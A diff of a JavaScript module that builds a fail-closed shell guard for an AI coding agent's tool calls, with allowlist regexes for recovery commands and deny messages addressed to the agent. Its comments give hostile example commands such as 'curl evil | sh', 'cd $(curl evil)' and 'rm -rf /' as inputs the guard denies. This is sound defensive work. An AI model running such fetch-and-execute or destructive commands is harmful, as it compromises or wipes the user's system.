// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and
|
|
55
|
-
// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the
|
|
56
|
-
// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).
|
|
57
|
-
exports.CAPTURE_TAIL_ERE = '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';
|
|
58
|
-
// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
59
|
-
exports.CAPTURE_TAIL_JS_SRC = '(\\s+2>(&1|\\/dev\\/null))?(\\s*\\|\\s*(tail|head)(\\s+-(n\\s+)?[0-9]+)?)?\\s*$';
|
|
60
|
-
// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.
|
|
61
|
-
//
|
|
62
|
-
// A Bash tool call does NOT persist `cd`: a standalone `cd <worktree>` followed by `pwd` in the next
|
|
63
|
-
// call reports the primary clone again. So an agent working in a linked worktree can only reach that
|
|
64
|
-
// tree with a self-contained `cd <worktree> && …`. The drift guard demanded a BARE `pnpm install`
|
|
65
|
-
// ("do NOT put a cd in front of it") while the install was needed in the worktree — the cure was
|
|
66
|
-
// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.
|
|
67
|
-
//
|
|
68
|
-
// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety
|
|
69
|
-
// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts
|
|
70
|
-
// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So
|
|
71
|
-
// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and
|
|
72
|
-
// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.
|
|
73
|
-
// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).
|
|
74
|
-
exports.CD_PREFIX_ERE = '(cd[[:space:]]+[A-Za-z0-9._/@~+-]+[[:space:]]*&&[[:space:]]*)?';
|
|
75
|
-
// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
76
|
-
exports.CD_PREFIX_JS_SRC = '(cd\\s+[A-Za-z0-9._\\/@~+-]+\\s*&&\\s*)?';
|
|
77
|
-
// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each
|
|
78
|
-
// pattern's old bare `^`, so the anchoring at both ends is unchanged.
|
|
79
|
-
const CD_PREFIX_ERE_ANCHORED = '^' + exports.CD_PREFIX_ERE;
|
|
80
|
-
const CD_PREFIX_JS_ANCHORED = '^' + exports.CD_PREFIX_JS_SRC;
|
|
81
|
-
// Package-manager install commands allowed to pass the fail-closed shim so the assistant can
|
|
82
|
-
// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks
|
|
83
|
-
// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).
|
|
84
|
-
//
|
|
85
|
-
// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare
|
|
86
|
-
// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):
|
|
87
|
-
// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT
|
|
88
|
-
// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)
|
|
89
|
-
// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)
|
|
90
|
-
// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)
|
|
91
|
-
//
|
|
92
|
-
// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a
|
|
93
|
-
// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:
|
|
94
|
-
// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT
|
|
95
|
-
// tree, and `cd` does not persist between tool calls, so `cd <worktree> && pnpm install` is the only
|
|
96
|
-
// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was
|
|
97
|
-
// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits
|
|
98
|
-
// no operator (see CD_PREFIX_ERE).
|
|
99
|
-
//
|
|
100
|
-
// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only
|
|
101
|
-
// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride
|
|
102
|
-
// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.
|
|
103
|
-
// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).
|
|
104
|
-
exports.INSTALLER_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*' + exports.CAPTURE_TAIL_ERE;
|
|
105
|
-
// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). The fail-closed shim (pure sh)
|
|
106
|
-
// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer
|
|
107
|
-
// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —
|
|
108
|
-
// same deadlock, other side. A unit test asserts the two agree on a sample set.
|
|
109
|
-
exports.INSTALLER_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + '(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*' + exports.CAPTURE_TAIL_JS_SRC);
|
|
110
|
-
// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.
|
|
111
|
-
//
|
|
112
|
-
// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a
|
|
113
|
-
// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the
|
|
114
|
-
// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully
|
|
115
|
-
// reports "up to date" and the corruption survives every retry. The only reliable cure is to delete
|
|
116
|
-
// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed
|
|
117
|
-
// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).
|
|
118
|
-
//
|
|
119
|
-
// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a
|
|
120
|
-
// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.
|
|
121
|
-
// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.
|
|
122
|
-
// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).
|
|
123
|
-
exports.RECOVERY_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + 'rm[[:space:]]+-rf[[:space:]]+(\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?' + exports.CAPTURE_TAIL_ERE;
|
|
124
|
-
// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
|
|
125
|
-
exports.RECOVERY_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + 'rm\\s+-rf\\s+(\\.\\/)?node_modules\\/?(\\s*&&\\s*(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?' + exports.CAPTURE_TAIL_JS_SRC);
|
|
126
|
-
// The exact command we tell the human/assistant to run to recover a corrupt node_modules.
|
|
127
|
-
exports.RECOVERY_CMD = 'rm -rf node_modules && pnpm install';
|
|
128
|
-
// Git SYNC commands, allowed ONLY on the version-DRIFT path (never for a missing/broken bin, which no
|
|
129
|
-
// amount of git can fix). This closes a real deadlock, hit 2026-07-17:
|
|
130
|
-
//
|
|
131
|
-
// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER
|
|
132
|
-
// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a
|
|
133
|
-
// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)
|
|
134
|
-
// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.
|
|
135
|
-
//
|
|
136
|
-
// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES
|
|
137
|
-
// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the
|
|
138
|
-
// allowlist only ever contained the installer. So the assistant was told to run the one command that
|
|
139
|
-
// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.
|
|
140
|
-
//
|
|
141
|
-
// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a
|
|
142
|
-
// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.
|
|
143
|
-
// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is
|
|
144
|
-
// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.
|
|
145
|
-
// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).
|
|
146
|
-
exports.SYNC_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + 'git[[:space:]]+(pull|fetch|merge)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*' + exports.CAPTURE_TAIL_ERE;
|
|
147
|
-
// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
|
|
148
|
-
exports.SYNC_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + 'git\\s+(pull|fetch|merge)(\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*' + exports.CAPTURE_TAIL_JS_SRC);
|
|
149
|
-
// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale
|
|
150
|
-
// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —
|
|
151
|
-
// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the
|
|
152
|
-
// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under
|
|
153
|
-
// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.
|
|
154
|
-
// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).
|
|
155
|
-
exports.UPGRADE_SHIM_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim' + exports.CAPTURE_TAIL_ERE;
|
|
156
|
-
// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
157
|
-
exports.UPGRADE_SHIM_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-upgrade-shim' + exports.CAPTURE_TAIL_JS_SRC);
|
|
158
|
-
// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.
|
|
159
|
-
exports.UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';
|
|
160
|
-
// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):
|
|
161
|
-
// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in
|
|
162
|
-
// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the
|
|
163
|
-
// repos that can hit this, since node_modules is what the shim compares itself against — got
|
|
164
|
-
// "command not found" and was left with a hard block and no working cure. In the reporter's words, the
|
|
165
|
-
// message gave "ZERO information" on how to actually fix it.
|
|
166
|
-
//
|
|
167
|
-
// A plain `cp` of the installed template over the committed shim has none of that version coupling:
|
|
168
|
-
// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit
|
|
169
|
-
// test), which is exactly what the binary's committedShimStale() compares the committed shim against;
|
|
170
|
-
// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.
|
|
171
|
-
// It cures the block on any version, old or new —
|
|
172
|
-
// which is why the deny now leads with it and only mentions the bin as the newer equivalent.
|
|
173
|
-
//
|
|
174
|
-
// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are
|
|
175
|
-
// literal webpieces-owned paths — so no other file can be read or written and no operator can ride
|
|
176
|
-
// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).
|
|
177
|
-
exports.RESTORE_SHIM_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + 'cp[[:space:]]+(\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\.sh[[:space:]]+(\\./)?\\.claude/webpieces/ai-hook\\.sh' + exports.CAPTURE_TAIL_ERE;
|
|
178
|
-
// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
179
|
-
exports.RESTORE_SHIM_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + 'cp\\s+(\\.\\/)?node_modules\\/@webpieces\\/ai-hook-rules\\/templates\\/ai-hook\\.sh\\s+(\\.\\/)?\\.claude\\/webpieces\\/ai-hook\\.sh' + exports.CAPTURE_TAIL_JS_SRC);
|
|
180
|
-
// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.
|
|
181
|
-
exports.RESTORE_SHIM_CMD = 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';
|
|
182
|
-
// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.
|
|
183
|
-
//
|
|
184
|
-
// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the
|
|
185
|
-
// shim's own header line names it as the managing command), and install-entry.ts calls healShim()
|
|
186
|
-
// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it
|
|
187
|
-
// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and
|
|
188
|
-
// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.
|
|
189
|
-
// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny
|
|
190
|
-
// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier
|
|
191
|
-
// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.
|
|
192
|
-
//
|
|
193
|
-
// Kept as tight as the other escape hatches: anchored at both ends, bare bin name, no flags, so no
|
|
194
|
-
// shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS below (locked by a unit test).
|
|
195
|
-
exports.INSTALL_HOOKS_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks' + exports.CAPTURE_TAIL_ERE;
|
|
196
|
-
// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
197
|
-
exports.INSTALL_HOOKS_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-install-ai-hooks' + exports.CAPTURE_TAIL_JS_SRC);
|
|
198
|
-
// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.
|
|
199
|
-
exports.INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';
|
|
200
45
|
// ---------------------------------------------------------------------------
|
|
201
46
|
// HOW EVERY DENY MUST SPELL ITS CURE (added 2026-07-23, from a live audit-log post-mortem).
|
|
202
47
|
//
|
|
@@ -332,32 +177,46 @@ const RUN_BIN_SH = `if [ -x "\$BIN" ] && [ -z "\$DRIFT_PKG" ]; then
|
|
|
332
177
|
BROKEN_BIN=1
|
|
333
178
|
fi`;
|
|
334
179
|
// Shell fragment: the guards are DOWN (missing | stale | crashed). Parse the payload, audit-log the
|
|
335
|
-
// decision, and let
|
|
180
|
+
// decision, and let THE L0 ALLOWLIST through — everything else falls to the deny below.
|
|
181
|
+
//
|
|
182
|
+
// This asks the identical question isAllowed() asks in JS, in the same order: Read, then the
|
|
183
|
+
// webpieces.config.json target, then the one command union (L0_ALLOW_ERE). The sh and JS halves exist
|
|
184
|
+
// because D/X/K are decided BEFORE the bin runs (a stale/missing/broken validator cannot validate
|
|
185
|
+
// itself) while S/C/Y are decided inside it — one model, two enforcement points.
|
|
186
|
+
//
|
|
187
|
+
// NOTE the documented asymmetry: here the bin is never executed, so an allowed Read is TERMINAL and
|
|
188
|
+
// read-stale-guard does not run. In JS the same entry falls through and it does. See isAllowed().
|
|
336
189
|
const TRIAGE_SH = `CMD="\$(printf '%s' "\$PAYLOAD" | sed -n 's/.*"command"[[:space:]]*:[[:space:]]*"\\([^"\\\\]*\\)".*/\\1/p')"
|
|
337
190
|
TOOL="\$(printf '%s' "\$PAYLOAD" | sed -n 's/.*"tool_name"[[:space:]]*:[[:space:]]*"\\([^"\\\\]*\\)".*/\\1/p')"
|
|
191
|
+
FILE="\$(printf '%s' "\$PAYLOAD" | sed -n 's/.*"file_path"[[:space:]]*:[[:space:]]*"\\([^"\\\\]*\\)".*/\\1/p')"
|
|
338
192
|
# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a
|
|
339
193
|
# human can inspect after something odd (an install that was denied, or one that slipped through). One
|
|
340
194
|
# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or
|
|
341
195
|
# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is
|
|
342
196
|
# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).
|
|
343
197
|
LOG_DIR="\$ROOT/.webpieces/logs"
|
|
344
|
-
wp_log() { # \$1 =
|
|
198
|
+
wp_log() { # \$1 = label (ALLOW-CURE|ALLOW-READ|ALLOW-CONFIG|DENY|DENY-STALE|DENY-BROKEN)
|
|
345
199
|
{ mkdir -p "\$LOG_DIR" 2>/dev/null && printf '%s\\t%s\\t%s\\t%s\\t%s\\n' "\$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)" "\$BIN_NAME" "\$TOOL" "\$1" "\$CMD" >> "\$LOG_DIR/ai-hook-shim.log"; } 2>/dev/null || true
|
|
346
200
|
}
|
|
347
201
|
DENY_LABEL="DENY"
|
|
348
202
|
[ -n "\$DRIFT_PKG" ] && DENY_LABEL="DENY-STALE" # version drift, not a missing bin
|
|
349
203
|
[ -n "\$BROKEN_BIN" ] && DENY_LABEL="DENY-BROKEN" # bin present but CRASHED (corrupt node_modules)
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
#
|
|
355
|
-
# origin), 'pnpm install' DOWNGRADES and 'git pull' is the only cure — denying it deadlocks the
|
|
356
|
-
# assistant against its own fix. Pointless for a missing/broken bin, so it stays gated on drift.
|
|
357
|
-
if [ -n "\$DRIFT_PKG" ] && printf '%s' "\$CMD" | grep -Eq '${exports.SYNC_ALLOW_ERE}'; then
|
|
358
|
-
wp_log ALLOW-SYNC # record the git sync we let through (may be what re-syncs the pin)
|
|
204
|
+
# THE L0 ALLOWLIST, entry order identical to isAllowed(). No fault is consulted: a cure that cannot
|
|
205
|
+
# help a given fault also cannot hurt it, and gating each entry on a fault is what produced the four
|
|
206
|
+
# defects recorded above L0_ALLOW_ERE.
|
|
207
|
+
if [ "\$TOOL" = "Read" ]; then
|
|
208
|
+
wp_log ALLOW-READ # you must be able to read to work out how to fix this
|
|
359
209
|
exit 0
|
|
360
210
|
fi
|
|
211
|
+
case "\$FILE" in
|
|
212
|
+
*/${rules_config_1.CONFIG_FILENAME}|${rules_config_1.CONFIG_FILENAME})
|
|
213
|
+
wp_log ALLOW-CONFIG # the always-allowed recovery target — every guard is configured from it
|
|
214
|
+
exit 0 ;;
|
|
215
|
+
esac
|
|
216
|
+
if printf '%s' "\$CMD" | grep -Eq '${l0_allowlist_1.L0_ALLOW_ERE}'; then
|
|
217
|
+
wp_log ALLOW-CURE # record the self-heal we let through (re-enables the guards)
|
|
218
|
+
exit 0 # allow the cure so the assistant can break the deadlock
|
|
219
|
+
fi
|
|
361
220
|
wp_log "\$DENY_LABEL" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection`;
|
|
362
221
|
// Shell fragment: emit the deny. FAIL CLOSED via Claude Code's PreToolUse JSON protocol
|
|
363
222
|
// (permissionDecision "deny" on stdout, then exit 0) rather than a bare "exit 2". BOTH block the call,
|
|
@@ -392,20 +251,20 @@ const DENY_REASON_SH = `if [ -n "\$BROKEN_BIN" ]; then
|
|
|
392
251
|
if [ "\${STAGING_N:-0}" -gt 0 ] 2>/dev/null; then
|
|
393
252
|
STAGING_NOTE=" Also found \$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write."
|
|
394
253
|
fi
|
|
395
|
-
REASON="❌ webpieces guards are DOWN and every OTHER tool call is BLOCKED: \${BIN_NAME} is installed but CRASHED (\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. THIS IS NOT A DEADLOCK: the option below is explicitly ALLOWED through while this guard is up, so run it YOURSELF rather than handing it to the human. OPTION 1 - run EXACTLY this command, then retry: '${
|
|
254
|
+
REASON="❌ webpieces guards are DOWN and every OTHER tool call is BLOCKED: \${BIN_NAME} is installed but CRASHED (\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. THIS IS NOT A DEADLOCK: the option below is explicitly ALLOWED through while this guard is up, so run it YOURSELF rather than handing it to the human. OPTION 1 - run EXACTLY this command, then retry: '${l0_allowlist_1.RECOVERY_CMD}'. ${exports.NO_CHAINING_RULE}\${STAGING_NOTE}"
|
|
396
255
|
elif [ -n "\$DRIFT_PKG" ]; then
|
|
397
256
|
# The 'how do I get current' half comes from SyncFlowGuidance so it cannot contradict the guards.
|
|
398
257
|
# It used to name 'git merge --ff-only origin/main' and assert that merge is allowed while this guard
|
|
399
258
|
# is up — the ONE command redirect-how-to-merge-main blocks in every form. An AI that obeyed the
|
|
400
259
|
# drift message got hard-blocked by the other guard with no path forward, which is how improvised
|
|
401
|
-
# 'git reset --hard' workarounds get invented.
|
|
402
|
-
#
|
|
260
|
+
# 'git reset --hard' workarounds get invented. The SYNC allowlist no longer accepts merge either, so
|
|
261
|
+
# the text and the allowlist now agree instead of the text warning against what the list permits.
|
|
403
262
|
#
|
|
404
263
|
# State the two versions and let the reader judge which is stale — do NOT assert a direction. The
|
|
405
264
|
# check is a plain !=, so it fires BOTH ways, and the old text always claimed node_modules was the
|
|
406
265
|
# older side. When it is actually the NEWER side (a checkout behind origin), that text sent people
|
|
407
266
|
# to 'pnpm install', which DOWNGRADES them further from correct.
|
|
408
|
-
REASON="❌ webpieces version drift: package.json pins \$DRIFT_PKG@\$DRIFT_DECLARED but node_modules has \$DRIFT_INSTALLED. Every OTHER call is blocked until they agree. WHICH ONE IS STALE decides which option is yours - compare the two versions above. OPTION 1 (the pin is NEWER than node_modules - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command to catch node_modules up: 'pnpm install'. OPTION 2 (the pin is OLDER than node_modules - your checkout is behind origin, so the PIN is the stale side, and 'pnpm install' on its own would DOWNGRADE you) - get the checkout current FIRST, THEN run 'pnpm install'. ${new rules_config_1.SyncFlowGuidance().updateMainAdvice()} git pull and git fetch are allowed while this guard is up and are the cure here.
|
|
267
|
+
REASON="❌ webpieces version drift: package.json pins \$DRIFT_PKG@\$DRIFT_DECLARED but node_modules has \$DRIFT_INSTALLED. Every OTHER call is blocked until they agree. WHICH ONE IS STALE decides which option is yours - compare the two versions above. OPTION 1 (the pin is NEWER than node_modules - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command to catch node_modules up: 'pnpm install'. OPTION 2 (the pin is OLDER than node_modules - your checkout is behind origin, so the PIN is the stale side, and 'pnpm install' on its own would DOWNGRADE you) - get the checkout current FIRST, THEN run 'pnpm install'. ${new rules_config_1.SyncFlowGuidance().updateMainAdvice()} git pull and git fetch are allowed while this guard is up and are the cure here. git merge is NOT allowed - not by this guard and not by redirect-how-to-merge-main once the guards are back - because main is merged ONLY through the 3-point fork merge: 'pnpm wp-start-update', or 'pnpm wp-start-upsert-pr' when a PR is already open. ${exports.NO_CHAINING_RULE}"
|
|
409
268
|
else
|
|
410
269
|
# A LINKED WORKTREE is the overwhelmingly common way to land here with a perfectly healthy repo:
|
|
411
270
|
# git gives the new worktree a .git FILE (the primary clone has a .git directory) and copies no
|
|
@@ -481,6 +340,15 @@ function findShimRoot(cwd) {
|
|
|
481
340
|
// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and
|
|
482
341
|
// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are
|
|
483
342
|
// untouched. NEVER throws — a self-heal must never block or crash a tool call.
|
|
343
|
+
//
|
|
344
|
+
// The overwrite itself is correct and deliberate — shim and binary are two halves of one L0 and MUST
|
|
345
|
+
// come from the same release (see shimStaleRecoveryDecision's header in ../adapters/hook-core).
|
|
346
|
+
//
|
|
347
|
+
// It needs no backup and no notice: the shim is a TRACKED file, so whatever it replaced is already in
|
|
348
|
+
// git — `git diff` shows the rewrite, and a tamper is a working-tree modification git surfaces on its
|
|
349
|
+
// own. In a consistent repo this is a no-op (committed shim already equals renderShim()); it earns its
|
|
350
|
+
// keep on the upgrade path, where bumping the pin and installing leaves the committed shim behind and
|
|
351
|
+
// this quietly brings it forward to be committed.
|
|
484
352
|
function healShim(cwd) {
|
|
485
353
|
// eslint-disable-next-line @webpieces/no-unmanaged-exceptions
|
|
486
354
|
try {
|
|
@@ -541,7 +409,7 @@ function committedShimStale(cwd) {
|
|
|
541
409
|
// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist twins; belongs beside them in the shim module.
|
|
542
410
|
function isShimCureCommand(command) {
|
|
543
411
|
const cmd = command.trim();
|
|
544
|
-
return
|
|
412
|
+
return l0_allowlist_1.INSTALL_HOOKS_ALLOW_JS.test(cmd) || l0_allowlist_1.UPGRADE_SHIM_ALLOW_JS.test(cmd) || l0_allowlist_1.RESTORE_SHIM_ALLOW_JS.test(cmd);
|
|
545
413
|
}
|
|
546
414
|
// The fail-closed deny text for a stale committed shim, built from the single-source cure constants +
|
|
547
415
|
// NO_CHAINING_RULE. `installedVersion` names WHICH webpieces the cure re-arms to (the binary is that
|
|
@@ -551,7 +419,7 @@ function isShimCureCommand(command) {
|
|
|
551
419
|
// webpieces-disable no-function-outside-class -- pure string builder over exported constants; the single source of the self-guard deny text now that the sh copy is gone.
|
|
552
420
|
function shimStaleDenyReason(installedVersion) {
|
|
553
421
|
const verNote = installedVersion ? ` (installed version ${installedVersion})` : '';
|
|
554
|
-
return `❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh rendered by the INSTALLED @webpieces/ai-hook-rules${verNote} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. THIS IS NOT A DEADLOCK: all three options below are explicitly ALLOWED through while this guard is up, so run one YOURSELF now - do not hand it back to the human. OPTION 1 (preferred - present in every webpieces release, and it re-arms the shim before it loads anything else) - run EXACTLY this command: '${
|
|
422
|
+
return `❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh rendered by the INSTALLED @webpieces/ai-hook-rules${verNote} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. THIS IS NOT A DEADLOCK: all three options below are explicitly ALLOWED through while this guard is up, so run one YOURSELF now - do not hand it back to the human. OPTION 1 (preferred - present in every webpieces release, and it re-arms the shim before it loads anything else) - run EXACTLY this command: '${l0_allowlist_1.INSTALL_HOOKS_CMD}'. OPTION 2 (shim regen only; needs installed @webpieces/ai-hook-rules 0.4.408 or newer) - run EXACTLY this command: '${l0_allowlist_1.UPGRADE_SHIM_CMD}'. OPTION 3 (works on every version, but Claude Code's own permission prompt may ask you to confirm the file overwrite - that prompt is NOT this guard) - run EXACTLY this command: '${l0_allowlist_1.RESTORE_SHIM_CMD}'. ${exports.NO_CHAINING_RULE} Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.`;
|
|
555
423
|
}
|
|
556
424
|
// The installed @webpieces/ai-hook-rules version, for shimStaleDenyReason's note. The binary IS this
|
|
557
425
|
// package, so it reads its OWN package.json (two dirs up from src/bin). Best-effort: '' on any failure,
|